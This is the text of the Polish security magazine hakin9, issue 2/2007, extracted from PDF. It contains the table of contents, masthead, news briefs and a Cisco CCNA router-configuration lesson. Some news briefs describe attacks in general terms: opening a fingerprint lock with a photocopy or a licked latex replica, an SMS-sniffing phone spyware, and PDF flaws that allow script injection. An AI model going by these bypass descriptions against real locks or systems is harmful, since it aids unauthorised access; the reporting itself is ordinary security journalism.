background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 2/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

06

Piotr Konieczny

Przedstawiamy garść najciekawszych wiadomości ze 

świata bezpieczeństwa systemów informatycznych.

Zawartość CD 

08

Beata Żebrowska

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live

Narzędzia

14

Wojciech Trynkowski

Wojciech przetestował narzędzie dostarczone przez 

firmę  D-Link.  Opisuje  wady  i  zalety  przetestowane-

go sprzętu 

Atak

DDoS – Nowoczesne metody 

ataku i obrony

16

Michał Garcarz, Janusz Sosnowski

Autorzy  przedstawiają  nowoczesne  ataki  odmowy 

usługi  DoS,  jak  również  DDoS,  których  celem  jest 

uniemożliwienie  dostępu  do  usług  informatycznych 

uprawnionym użytkownikom.

Przecinanie kabla 

– atak TCP Reset

30

Marcin Ulikowski

Protokuł  TCP  należy  do  warstwy  transportowej 

modelu  OSI  odpowiedzialnego  za  kontrolę  przepły-

wu  poprawności  danych.  Marcin  opisuje  atak  TCP 

Reset i sposób zabezpieczenia systemu przed tego 

rodzaju  atakiem.  Twórcy  protokołu  TCP  nie  przewi-

dzieli, że taki sam rozmiar pewnego pola w nagłówku 

może stać się po wielu latach problemem.

Jak ominąć zabezpieczenie 

mieszania stosu w kernelu 2.6

36

Enrico Feresin

Autor opisuje jak ominąć zapezpieczenie mieszania 

stosu w linuxowym kernelu 2.6 posiadającego zabez-

pieczenie,  które  chroni  system  exploitami  opartymi 

na  przepełnienie  buforu:  początek  stosu  każdego 

procesu jest mieszany.

Hakowanie Internet Explorer

44

Krzysztof Kozłowski

Autor przedstawia niedoskonałości Internet Explore-

ra i wskazuje metody jak zabezpieczyć się przed ata-

kami z sieci. Z uwagi na fakt, że IE jest mocno zinte-

growany z Windowsem, często udany atak na prze-

glądarkę prowadzi do uzyskania dostępu do systemu 

operacyjnego.

http://www.buyitpress.com

background image

4

www.hakin9.org

hakin9 Nr 2/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

ClamAV, czyli jak to robią małże...

54

Tomasz Kojm

Tomasz  przedstawia  budowę  ClamAntiVirus,  wyko-

rzystanie  biblioteki  libclamav  jak  również  sposób 

stworzenia własnej sygnatury wirusa dla ClamAV.

Bezpieczeństwo 

w Internet Explorer 7

62

Artur Żarski

W  dniu  pojawienia  się  pierwszej  publicznej  wersji  IE7 

rozpoczeła się dyskusja na temat bezpieczeństwa tego 

produktu.  Przeglądarka  zawiera  dużo  nowych  funkcji, 

które  mają  zwiększyć  bezpieczeństwo  użytkownika. 

Artur przedstawia sposób zabezpieczenia przeglądarki. 

Tunele TUN/TAP 

w systemech Linux/Unix

66

Paweł Maziarz

Paweł opisuje sposób działania tuneli TUN/TAP a także 

przedstawia  sposoby  wykorzystania  tuneli  podczas 

tworzenia własnych aplikacji używając tych tuneli.

Testy konsumenckie

Skanery bezpieczeństwa

74

Użytkownicy  dzielą  się  z  nami  swoimi  opiniami 

na  temat  popularnych  skanerów  bezpieczeństwa. 

Przedstawiają  największe  wady  i  zalety.  Znajdziesz 

tu  opinie  skanerów:  Kaspersky  Anti-Virus,  mks_vir

AvastAd-Aware ProfesionalHiJack This

Wywiad

Wywiad z Jarosławem Samonkiem 

z firmy Symantec

76

Beata Żebrowska

Jarosław  Samonek  Country  Manager  firmy  Syman-

tec.

Księgozbiór

78

 

Krystyna Wal, Łukasz Długosz

Recenzujemy  książki:  19  grzechów  śmiertelnych,  Bez-

pieczeństwo protokołu TCP/IP, C/C++. Bezpieczne pro-

gramowanie. Receptury; Spamowi STOP! Bayesowskie 

filtrowanie zawartości i sztuka statystycznej klasyfikacji 

języka.

Zapowiedzi

00

Beata Żebrowska

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: 
Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Beata Żebrowska 

Tłumaczenie: Krzysztof Trynkiewicz

Wyróżnieni betatesterzy: Amadeusz Jasak, Piotr Kabaciński, 

Kamil Pociask

Korekta: Mariusz Kalata musil@wp.pl

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych 

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 2/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 2/2007

Namierzony przez Skype'a

Były szef izraelskiej firmy Comver-

se działającej na rynku VoIP, Jacob 

Alexander,  występujący  w  sieci 

pod  nickiem  Kobi,  został  schwyta-

ny  na  Sri  Lance  w  chwilę  po  tym, 

jak  namierzono  jego  jednominuto-

wą rozmowę przeprowadzoną przy 

pomocy komunikatora Skype.

Jacob Alexander ukrywał się przed 

amerykańskim wymiarem sprawiedli-

wości, ponieważ został oskarżony o 

defraudacje i oszustwa giełdowe. Do 

końca  nie  było  jasne,  jaki  kierunek 

obrał  zbieg.  Niektóre  źródła  poda-

wały, ze Jacob najprawdopodobniej 

uciekł do Izreala, na co wskazywać 

miałby  wykonany  na  chwilę  przed 

zniknięciem przelew na 57 milionów 

dolarów, właśnie na izraelskie konto 

Jacoba. Inni twierdzili, że miejscem 

ucieczki były Niemcy - jako państwo, 

z  którego  nie  można  wykonać  eks-

tradycji do USA.

Technika namierzania, którą wyko-

rzystała  policja  nie  jest  dokładnie 

znana. Spekuluje się, że osoba, do 

której  dzwonił  Jacob  była  na  pod-

słuchu.

Należy pamiętać, że IP użytkowni-

ka Skype'a jest zapisywane podczas 

logowania na serwerach komunikato-

ra. Policja może więc zdobyć nakaz i 

uzyskać  dostęp  do  logów.  Do  tej 

pory  komunikator  Skype,  ze  wzglę-

du  na  wykorzystywanie  kryptogra-

fii  i  architektury  peer-to-peer  posia-

dał renomę bezpiecznego narzędzia 

komunikacji. W związku z tym pozo-

stawał  ulubionym  narzędziem  inter-

netowych rzezimieszków - znane są 

przykłady  wykorzystywania  Skype-

'a  do  „bezpiecznego”  kontrolowania 

sieci botnetów.

Ostatnie wydarzenia, jak i głębsza 

analiza na podstawie reverse-engi-

neeringu  protokołu  Skype'a  poka-

zała,  że  IP  użytkownika  jest  moż-

liwe  do  odczytania  praktycznie  na 

każdym etapie połączenia.

Bezpieczne Gadu-Gadu

Taką  nazwę  przybrała  wspólna 

akcja informacyjna CERT-u i Gadu-

Gadu,  skierowana  do  niezaawan-

sowanych  komputerowo  użytkow-

ników popularnego w Polsce komu-

nikatora.

Specjalna strona http://bezpieczne. 

gadu-gadu.pl  zawiera  informacje 

dot.  zasad  bezpiecznego  korzy-

stania  z  internetu  oraz  program  o 

nazwie  Bezpiecznik,  którego  zada-

niem jest usuwanie złośliwego opro-

gramowania.

Kserokopia zastąpi brakujący kciuk

T

wórcy programu telewizyjnego 
Mythbusters  zademonstrowali 

prostą metodę na obejście zabez-
pieczeń  biometrycznych  sprze-
dawanych  przez  popularnych  na 
rynku  producentów.  Do  otwarcia 
zamka  sprawdzającego  odciska 
palca  użyli  zwykłej  kserokopii  linii 
papilarnych... 

Autorzy  programu  postanowi-

li  zmierzyć  się  z  nowoczesnymi 
zabezpieczeniami  biometryczny-
mi,  które  powszechnie  uznaje  się 
za  nie  do  pokonania.  Biometry-
ka obrosła w mit i większość osób 
widzi ją jako za zabezpieczenie nie 
do  obejścia.  Biometryka  chętnie 
wykorzystywana jest we wszelkie-
go rodzaju filmach, od futurystycz-
nego  skanowania  siatkówki  jako 
obowiązkowego elementu w Scien-
ce Fiction, aż po prymitywne odci-
nanie kciuka właściciela, znane już 
bardziej z horrorów...

Tym bardziej zadziwiające jest, 

że  drzwi  zabezpieczone  zamkiem 
weryfikującym  odcisk  palca  otwar-
to  za  pomocą  zwykłej  kserokopii, 
która przecież w żaden sposób nie 
emuluje kciuka - jest dwuwymiaro-

wa, nie poci się, nie da się na niej 
wyczuć pulsu i zmian temperatury.

Co  ciekawe,  próba  ze  znanym 

i  rozpropagowanym  w  filmach  sen-
sacyjnych  „odciskiem  lateksowym” 
nie była już pełna sukcesów. Jednak 
pomimo  niepowodzeń,  prowadzą-
cy i tak zdołał otworzyć zamek przy 
użyciu lateksowej repliki linii papilar-
nych - okazało się, że zwykle poliza-
nie  sztucznego  odcisku  skutecznie 
zmyliło czujnik w zamku i pozwoliło 
na otwarcie drzwi.

Specjaliści  do  spraw  bezpie-

czeństwa  zazwyczaj  długo  głowią 
się  przed  wprowadzeniem  biome-
trycznych  zabezpieczeń  w  swoich 
firmach.  Prawie  zawsze,  większość 
pracowników  mająca  dostęp  do 
poufnych  danych  stanowczo  opo-
wiada  się  za  skorzystaniem  ze 
standardowych  zamków.  Wynika 
to  przede  wszystkim  ze  strachu  - 
w  razie  napadu,  zwykły  klucz  czy 
kartę  magnetyczną  zawsze  można 
oddać  napastnikowi  -  nawet,  jeśli 
miałoby to być okupione szamotani-
ną i kilkoma guzami - taką stratę pra-
cownik jest gotów ponieść. Gorzej już 
z siatkówką, czy kciukiem...

Wrzeszczący telefon

A

mnezja i krzyk, to nowy sposób 
na kradzieże telefonów komórko-

wych i PDA. Firma Synchronica wpro-
wadziła  na  rynek  usługę  o  nazwie 
Mobile  Manager,  która  nazwać 
można przenośnym trojanem.

W  razie  kradzieży  „zainfekowa-

nego”  urządzenia,  jego  prawowity 
właściciel  będzie  mógł  nim  zdalnie 
sterować - co nie jest niczym nowym, 
bo od dawna można znaleźć narzę-
dzia  spełniające  podobne  funkcje. 
Przełomowy  natomiast  jest  krzyk 
urządzenia,  działający  na  zasadzie 
alarmu  oraz  centralna  archiwizacja 
danych (ściągnięcie ich z telefonu na 
serwer  firmy)  a  następnie  wymaza-
nie pamięci aparatu.

Krzyk, z którego firma jest niesa-

mowicie  dumna,  można  przetesto-
wać na sobie. Jego próbkę producent 

udostępnia w sieci pod adresem http:

//www.synchronica.com/syncml-

download /synchronica-mobile-
manager-screams.mp3

Urządzenie ma wydawać z siebie 

wrzaski do momentu wyjęcia baterii i 
nawet zmiana karty SIM nie pomoże. 
Usługa  niestety  jest  płatna,  ale  na 
pewno  przypadnie  do  gustu  osobom, 
które  na  coraz  potężniejszych  smart-

phone'ach  przenoszą  coraz  większe 
ilości coraz bardziej poufnych danych.

background image

W skrócie

hakin9 Nr 2/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 2/2007

Sniffer na komórkę

Symbian  to  jeden  z  popularniej-

szych  systemów  operacyjnych  na 

telefony  komórkowe.  Jednak  licz-

bie  użytecznych  aplikacji  towa-

rzyszy  także  liczba  złośliwego 

oprogramowania.  Program  Allca-

no.A  to  sniffer,  który  potrafi  prze-

chwycić  zarówno  otrzymywane, 

jak  i  wysyłane  przez  użytkowni-

ka  SMSy.  Podejrzane  wiadomo-

ści  trafiają  na  uprzednio  skonfigu-

rowany  numer  telefonu,  dodatko-

wo  obciążając  rachunek  zaatako-

wanego. Sam atak nie pozostawia 

żadnego śladu w telefonie. Podwój-

nie  wysłanych  SMS-ów  nie  znaj-

dziemy w skrzynce nadawczej. Co 

ciekawe, twórcy aplikacji, w przeci-

wieństwie  do  firm  zajmujących  się 

bezpieczeństwem,  nie  postrzega-

ją jej jako wirusa. Program nie roz-

mnaża się bowiem samoistnie i nie 

potrafi się przenosić na inne telefo-

ny,  a  jego  instalacja  zawsze  musi 

być  świadoma,  bo  wymaga  wpro-

wadzenia  numeru  IMEI  aparatu.  Z 

racji popularności systemów moni-

toringu  oraz  znacznego  rozwoju 

platformy  komórkowej,  tego  typu 

aplikacji szpiegowskich pojawia się 

coraz więcej. Od darmowych ama-

torskich programików, po obszerne 

korporacyjne.  Jedne  mają  służyć 

informowaniu  prawowitego  właści-

ciela o tym, co dzieje się z apara-

tem - gdyby ten został skradziony, 

inne maja za zadanie monitorować 

wydajność oraz lojalność pracowni-

ków  i  są  instalowane  na  zlecenie 

szefostwa. Jeśli chcemy być pewni, 

że na naszym telefonie nie znajdu-

ją się podejrzane aplikacje, zawsze 

możemy  skorzystać  z  antywirusa 

firmy F-Secure.

Internet Explorer za tarczą

B

rowserShield,  to  nowa  usługa 
stworzona 

dla 

przeglądar-

ki  Internet  Explorer,  mająca  pomóc 
w  wykrywaniu  i  zwalczaniu  nie-
bezpiecznego  kodu  na  podejrza-
nych  stronach  WWW,  przypadkowo 
odwiedzonych przez internautę.

Nowy  system  zabezpieczeń  dla 

IE  ma  być  inteligentny  i  przewidu-
jący,  by  móc  ochronić  przeglądar-
kę  nawet,  jeśli  ta  nie  ma  zainstalo-
wanej odpowiedniej poprawki. Przy-
pomina to trochę analizę heurystycz-
ną  wykonywaną  przez  obecne  na 
rynku  programy  antywirusowe,  gdy 
niemożliwe jest dopasowanie żadnej 
sygnatury  wirusa  do  sprawdzanego 
pod kątem infekcji pliku.

Microsoft  zapewnia,  że  oglą-

dane  przez  użytkownika  strony 
będą  analizowane  i  oczyszcza-
ne  z  kodu  przez  specjalny  parser, 
zanim  jeszcze  zostaną  wyświetlo-
ne  na  ekranie.  Operacja  jest  więc 
dla  użytkownika  przezroczysta  i  w 

żaden sposób nie wpływa na kom-
fort przeglądania sieci. Problemem 
może  być  jedynie  narzut  czaso-
wy, jaki jest potrzebny by zanalizo-
wać kod każdej z otwieranych stron 
WWW.

Producent  zaleca  używanie 

BrowserShield  razem  z  programa-
mi  antywirusowymi  i  firewallami, 
ponieważ  usługa  w  żaden  sposób 
nie  chroni  przed  złośliwym  kodem 
całego komputera, skupia się wyłącz-
nie na zapewnieniu bezpieczeństwa 
przeglądarce.  Testy  wykazały,  że 
BrowserShield poradził sobie z więk-
szością  stron  WWW  zawierającą  w 
kodzie  przykładowe  exploity.  Istnie-
je wiele serwerów proxy, które sku-
piają się na filtrowaniu dokumentów 
HTML. Z reguły jednak, są to skom-
plikowane aplikacje i ich konfiguracja 
przerasta niezaawansowanych użyt-
kowników.  Dlatego  proste  w  obsłu-
dze  narzędzie  Microsoftu  znajdzie 
wielu zwolenników.

PDF zhackowany!

B

rytyjski  specjalista  ds.  bezpie-
czeństwa,  David  Kierznowski, 

odkrył dziurę w formacie Adobe PDF, 
pozwalającą  na  przeprowadzenie 
zdalnego  ataku  na  komputer  ofiary. 
Hacker  wyznał,  że  odkryte  przez 
niego nieprawidłowości nie są wyni-
kiem umyślnego błędu, a raczej sub-
telnych możliwości, jakie udostępnia 
format  PDF  -  możliwości,  o  których 
nikt nie pomyślał, że mogłyby kiedy-
kolwiek stanowić zagrożenie.

Jeden  z  pierwszych  exploitów 

demonstrujących  atak  dodawał  do 
treści  dokumentu  PDF  podstawiony 
link,  który  zaraz  po  wczytaniu  pliku 
był  automatycznie  otwierany  przez 
przeglądarkę. Według Kierznowskie-
go, lekka modyfikacja kodu exploita 
spowodowałaby  wykonanie  dowol-
nego kodu w systemie. 

Okazało się również, że na atak 

podatna  jest  nie  tylko  najświeższa 
wersja Adobe Acrobat Readera, ale 
także  inny  produkt  -  Adobe  Profes-
sional.  Kierznowski  i  na  to  narzę-

dzie  zaprezentował  exploita.  Za 
jego pomocą najpierw połączył się z 
lokalną,  windowsową  ODBC  (Open 
DataBase Connectivity), a następnie 
enumerował dostępne bazy danych i 
wysyłał raporty z powrotem na kom-
puter o fiary, za pomocą zewnętrznej 
usługi w sieci WWW. Ten niegroźny 
scenariusz w kilka minut mógł zostać 
przystosowany  do  niebezpieczne-
go ataku, w którym cyberprzestępca 
uzyskuje  dostępu  do  lokalnej  bazy 
danych  użytkownika  z  zewnątrz, 
za  pomocą  wyłącznie  przeglądar-
ki WWW.

Kierznowski  zakomunikował,  że 

istnieje  jeszcze  co  najmniej  siedem 
nieprawidłowości w PDF, które odpo-
wiednio  wykorzystane  mogą  stano-
wić realne zagrożenie.

Ciekawym zastosowaniem jednej 

z dziur było wstrzyknięcie kodu Java-
Script do dokumentu PDF. Dokładny 
opis luk, Kierznowski przedstawia na 
swoim blogu: http://michaeldaw.org/

md-hacks/backdooring-pdf-files/

background image

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

10

Sekwencja uruchomieniowa routera 

oraz tryb konfiguracyjny

Router  uruchamia  się  poprzez  załadowanie  programu 
rozruchowego, systemu operacyjnego oraz pliku konfigu-
racyjnego. Jeżeli router nie może znaleźć pliku konfigu-
racyjnego, przechodzi do trybu konfiguracji. Router prze-
chowuje kopię zapasową nowo utworzonego pliku kon-
figuracyjnego,  utworzonego  w  trybie  konfiguracji  w  pa-
mięci nieulotnej o dostępie swobodnym. Po uruchomie-
niu routera przeprowadzi on samodzielny test (POST, po-
wer-on self-test). Podczas samotestowania router prze-
prowadza  diagnostykę  wszystkich  modułów  sprzęto-
wych. Diagnostyka pozwala sprawdzić podstawowe dzia-
łanie komponentów sprzętowych routera.

Po przeprowadzeniu autotestu routera, podczas jego 

inicjalizacji następuje:

•   Uruchomienie programu na karcie CPU znajdującego 

się w pamięci ROM.

•   Załadowanie obrazu Cisco IOS. Po rozpoczęciu dzia-

łania systemu operacyjnego, lokalizuje on komponen-
ty  sprzętowe  i  programowe.  Ich  łączne  zestawienie 
zostanie wyświetlone na terminalu konsoli.

•   Zapisanie pliku konfiguracyjnego w pamięci NVRAM 

lub na serwerze TFTP 

•   Załadowanie  do  pamięci  głównej  wykonanie  kolej-

nych wierszy poleceń.

•   Przeprowadzenie .procedury początkowej konfigura-

cji opartej na pytaniach jeśli w pamięci NVRAM nie 
istnieje  prawidłowy  plik  konfiguracyjny  lub  pamięć 
NVRAM została wymazana.

Do komunikacji z routerem używamy programu HyperTer-
minal, który należy odpowiednio skonfigurować. Wszyst-
kie  routery  Cisco  używają  asynchroniczny,  szeregowy 
port konsoli ze złączem RJ-45. Aby połączyć konsolę ter-
minalu z portem konsoli, potrzebne są kable i przejściów-

Kurs na certyfikat CISCO CCNA

ki. Aby podłączyć komputer z uruchomionym emulatorem 
terminalu do portu konsoli, należy użyć kabla typu rollo-
ver zakończonego złączem RJ-45 oraz przejściówki żeń-
skiej RJ-45 na DB-9, lub RJ-45 na DB-25. Domyślne pa-
rametry portu konsoli to szybkość 9600 b/s, 8 bitów da-
nych, bez parzystości, 1 bit stopu oraz brak kontroli prze-
pływu.  Port  konsoli  nie  obsługuje  sprzętowej  kontroli 
przepływu. Aby skonfigurować router Cisco, należy uzy-
skać dostęp do interfejsu użytkownika poprzez terminal 
lub zdalny dostęp. Podczas uzyskiwania dostępu do ro-
utera użytkownik musi się zalogować, zanim będzie mógł 
wydawać polecenia. Dla bezpieczeństwa router posiada 
dwa poziomy dostępu do poleceń:

•   Tryb użytkownika (User EXEC mode) - Typowe zadania 

związane ze sprawdzaniem statusu routera. W tym try-
bie niedozwolone są zmiany konfiguracji routera.

•   Tryb uprzywilejowany (Priviledged EXEC mode) - Ty-

powe zadania związane ze zmianami konfiguracji ro-
utera.

Tryby konfiguracji routera

Polecenia  globalnego  trybu  konfiguracji  są  wykorzysty-
wane do wprowadzenia poleceń konfiguracyjnych, doty-
czących routera jako całości. Aby wejść do trybu konfigu-
racji globalnej, należy w trybie uprzywilejowanym wpisać 
polecenie  configure.  Po  wpisaniu  tego  polecenia  poja-
wia się zapytanie o źródło wprowadzonych poleceń kon-
figuracyjnych, w którym można określić terminal, pamięć 
nvram lub serwer sieciowy.

Wpisanie  polecenia  exit  w  konkretnym  trybie  konfi-

guracyjnym powoduje przejście routera do trybu global-
nej konfiguracji. Wciśnięcie kombinacji CTRL-Z powodu-
je wyjście z trybu konfiguracji i powrót do trybu uprzywi-
lejowanego EXEC.

Konfigurowanie nazwy routera

Nazwanie  routera  pomaga  lepiej  zarządzać  siecią  po-
przez unikalną identyfikację każdej maszyny w sieci. Na-
zwę routera konfiguruje się w globalnym trybie konfigura-
cji. Nazwa routera jest określana nazwą hosta i wyświe-
tlana jest w znaku gotowości linii poleceń. Określenie na-
zwy routera następuje poprzez wydanie polecenia host-
name i nazwa routera.

Konfigurowanie 

i ochrona haseł routera

Router może być zabezpieczony za pomocą haseł. Hasła 
mogą zostać ustalone zarówno dla połączeń wirtualnego 
terminalu, jak również dla połączeń konsolowych. Tak sa-
mo tryb EXEC też może być zabezpieczony.

Tryby konfiguracji

Interface

Router(config-if)#

Subinterface

Router(config-subif)#

Controller

Router(config-controller)#

Map-list

Router(config-map-list)#

Map-class

Router(config-map-class)#

Line

Router(config-line)#

Router 

Router(config-router)#

Ip-router

Router(config-ipx-router)#

Router

Router(config-router-map)#

background image

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

11

W  trybie  globalnej  konfiguracji  należy  wydać  pole-

cenie  enable  password,  aby  ograniczyć  dostęp  do  try-
bu uprzywilejowanego. Hasło to będzie widoczne w pli-
ku  konfiguracyjnym.  Aby  wprowadzić  hasło  zaszyfro-
wane  należy  wykonać  polecenie  enable  secret.  Hasło 
skonfigurowane za pomocą enable secret, jest używane 
zamiast hasła enable password. Hasła mogą być także 
zabezpieczone przed podejrzeniem poprzez użycie po-
lecenia  service  password-encryption.  Polecenie  to  jest 
wpisywane w trybie globalnej konfiguracji. Linia poleceń 
trybu użytkownika jest dostępna po zalogowaniu się do 
routera.  Dostępne  na  tym  poziomie  polecenia,  są  pod-
zbiorem poleceń dostępnych w trybie uprzywilejowanym 
EXEC. Aby uzyskać dostęp do wszystkich poleceń, na-
leży wejść w tryb uprzywilejowany. Po znaku gotowości, 
należy  wpisać  instrukcję  enable.  Jeżeli  zostaniemy  po-
proszeni o hasło, należy wprowadzić hasło które zostało 
określone poprzez instrukcję enable secret. Gdy pomyśl-
nie zalogujemy się do trybu uprzywilejowanego znak go-
towości zmieni się na #. Istnieje kilka powodów dla któ-
rych router może nie uruchomić się prawidłowo:

•   plik konfiguracyjny z brakującymi lub nieprawidłowymi 

wpisami boot system

•   nieprawidłowa wartość rejestru konfiguracji
•   uszkodzony obraz oprogramowania w pamięci Flash
•   uszkodzony sprzęt

Do sprawdzania stanu routera używamy poniższych in-
strukcji:

•   show version - wyświetla konfigurację sprzętową sys-

temu,  wersję  oprogramowania,  nazwy  i  źródła  pli-
ków konfiguracyjnych i obrazów systemu, oraz powód 
ostatniego restartu systemu operacyjnego

•   show  process  -  wyświetla  informacje  o  aktywnych 

procesach

•   show protocol - wyświetla skonfigurowane protokoły. 

Podaje status każdego  skonfigurowanego  protokołu 
warstwy 3

•   show memory - wyświetla informacje o dostępnej pa-

mięci,  wraz  ze  statystykami  wolnych  obszarów  pa-
mięci

•   show stacks - monitoruje użycie stosu przez procesy i 

procedury przerwań

•   show buffers - dostarcza statystyk o buforze w routerze
•   show  flash  -  wyświetla  informacje  o  urządzeniu  pa-

mięci Flash

•   show running-config - wyświetla plik aktywnej konfi-

guracji

•   show startup-config - wyświetla plik konfiguracji zapa-

sowej

•   show interface - wyświetla informacje o skonfigurowa-

nych interfejsach

W samym systemie operacyjnym występuje jeszcze wie-
le  innych  poleceń  show,  które  pozwalają  sprawdzić  np. 
zawartość  plików  w  routerze.  W  każdym  trybie  można 
wykonać polecenie show z dostępnymi opcjami:

•   show  controller  serial  -  wyświetla  informacje  specy-

ficzne dla sprzętu interfejsu

•   show clock - wyświetla ustawiony czas na routerze
•   show hosts - wyświetla listę wszystkich nazw hostów 

i adresów przechowywanych w pamięci podręcznej

•   show  users  -  wyświetla  wszystkich  użytkowników 

podłączonych do routera

•   show history - wyświetla historię wprowadzonych po-

leceń

•   show flash - wyświetla informacje o pamięci Flash i 

przechowywanych plikach Cisco IOS

•   show version - wyświetla informacje o uruchomionym 

obrazie IOS Cisco

•   show arp - wyświetla tablicę arp

Konfigurowanie interfejsu 

szeregowego w routerze

Interfejs szeregowy może zostać skonfigurowany zarówno 
z konsoli, jak i przez sesję wirtualnego terminalu. Interfejs 
szeregowy wymaga sygnału zegarowego w celu synchro-
nizacji transmisji. W większości środowisk DCE, takie jak 
CSU/DSU, zapewnia sygnał zegarowy. Domyślnie routery 
są urządzeniami DTE, ale mogą zostać skonfigurowane ja-
ko urządzenia DCE. W bezpośrednich połączeniach inter-
fejsów szeregowych jedna strona musi być skonfigurowa-
na jako urządzenie DCE i zapewnić sygnał taktujący. Ze-
gar jest włączany poprzez polecenie clockrate które okre-
śla jego prędkość. Dostępne wartości w bitach na sekundę 
wynoszą: 1200, 2400, 9600, 19200, 38400, 56000, 64000, 
72000,  125000,  148000,  500000,  800000,  1000000, 
13000000, 2000000 i 4000000. Aby skonfigurować inter-
fejs szeregowy należy wykonać następujące czynności:

•   uruchomić tryb globalnej konfiguracji
•   uruchomić tryb konfiguracji interfejsu
•   określić pasmo
•   ustawić prędkość zegara DCE
•   włączyć interfejs

Domyślnie wszystkie interfejsy są wyłączone. Aby włą-
czyć  je  należy  podać  polecenie  no  shutdown.  Interfejs 
może  wymagać  wyłączenia  administracyjnego  w  celu 
wykonania czynności konserwacyjnych. Polecenie shut-
down wyłącza interfejs.

Konfiguracja interfejsu Ethernet

Interfejs Ethernet skonfigurować można zarówno z kon-
soli, jak i z linii terminalu wirtualnego. Każdy taki interfejs, 
musi posiadać adres IP i maskę podsieci. Aby skonfiguro-
wać interfejs Ethernet, należy wykonać czynności:

•   uruchomić tryb globalnej konfiguracji
•   uruchomić tryb konfiguracji interfejsu
•   określić adres IP i maskę podsieci
•   włączyć interfejs

Domyślnie  interfejsy  Ethernet  są  wyłączone.  Aby  włą-
czyć,  należy  wydać  polecenie  no  shutdown.  Natomiast 
polecenie shutdown wyłącza interfejs.

background image

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

12

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

13

Wykonywanie zmian na routerze

Do  weryfikacji  zmian  na  routerze,  wydaje  się  polecenie 
show running-config. Polecenie to wyświetla bieżącą kon-
figurację. Jeżeli wyświetlane zmienne nie są tym, co zamie-
rzono, można to poprawić poprzez wykonanie czynności:

•   dodanie no do polecenia konfiguracyjnego
•   ponowne uruchomienie systemu i załadowanie orygi-

nalnego pliku konfiguracji z pamięci NVRAM

•   usunięcie  pliku  konfiguracji  uruchomieniowej  pole-

ceniem  erase  startup-config,  uruchomienie  routera 
i wejście w tryb konfiguracji uruchomieniowej. Aby za-
pisać  konfigurację  do  pliku  konfiguracji  uruchomie-
niowej  w  pamięci  NVRAM,  należy  wydać  polece-
nie  w  trybie  uprzywilejowanym: 

copy  running-config 

startup-config

Do zarządzania zawartością NVRAM w systemie Cisco 
IOS służą polecenia:

•   configure memory - ładuje informacje konfiguracyjne 

z pamięci NVRAM

•   erase  startup-config  -  kasuje  zawartość  pamięci 

NVRAM

•   copy running-config startup-config - kopiuje bieżącą 

konfigurację z pamięci RAM do pamięci NVRAM

•   show startup-config - wyświetla zapisaną konfigura-

cję w pamięci NVRAM

Informacje logowania

Wiadomość  logowania  jest  wiadomością  wyświetlaną 
przy logowaniu. Jest ona użyteczna do dostarczania wia-
domości dotyczących wszystkich użytkowników sieci, np. 
informacje  o  zbliżającym  się  wyłączeniu  systemu.  Wia-
domość logowania powinna zawierać ostrzeżenie przed 
próbą nieautoryzowanego logowania. 

Wiadomość  dnia  (MOTD,  Message  of  the  day)  lub 

wiadomość logowania, może być wyświetlana na wszyst-
kich  połączonych  terminalach.  Aby  skonfigurować  taką 
wiadomość, należy wejść do trybu globalnej konfiguracji 
i wydać polecenie banner motd. Następnie należy wpro-
wadzić po spacji znak separujący (np. @) i treść wiado-
mości. Po spacji należy ponownie wprowadzić wybrany 
przez nas znak separujący. Do konfiguracji takiej wiado-
mości należy wykonać następujące czynności:

•   uruchomić tryb globalnej konfiguracji poprzez wyko-

nanie polecenia configure terminal

